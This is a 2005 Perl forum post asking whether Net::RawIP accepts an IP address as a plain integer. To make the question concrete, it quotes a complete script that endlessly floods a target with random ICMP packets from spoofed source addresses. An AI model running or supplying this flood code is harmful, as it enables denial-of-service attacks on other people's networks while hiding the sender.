in reply to Re: unsigned int in the host format and raw socket
in thread unsigned int in the host format and raw socket
Yes it's work, but please look at this code (i got this code from Net::Raw Example)
Have a look in looping area, we got :$| = 1; require 'getopts.pl'; use Net::RawIP; Getopts('t:'); die "Usage $0 -t <target>" unless $opt_t; srand(time); $i = 996; $data .= chr(int rand(255)),$i-- while($i); $icmp = new Net::RawIP({ ip => { ihl => 6, tot_len => 1024, id => 1, ttl => 255, frag_off => 0, daddr => $opt_t }, icmp => { id => 2650, data => $data } }); for(;;){ $j++; $icmp->set({ ip => { saddr => 17000000 + int rand 4261000000 }, icmp => { type => int rand(14), code => int rand(10), sequence => int rand(255) } }); $icmp->send; print "b00m " unless $j%1000; }
The author give $addr with random int number without doing packing or unpack, so i make my own conclusion that we can give $addr with int number (like code above) as long as it's valid ip addy, is it true?
i m trying hard to explain my problem in proper english i hope you can understand
thanks, zak
|
|---|
| Replies are listed 'Best First'. | |
|---|---|
|
Re^3: unsigned int in the host format and raw socket
by ikegami (Patriarch) on Jun 30, 2005 at 18:47 UTC | |
by doctor_moron (Scribe) on Jun 30, 2005 at 19:07 UTC |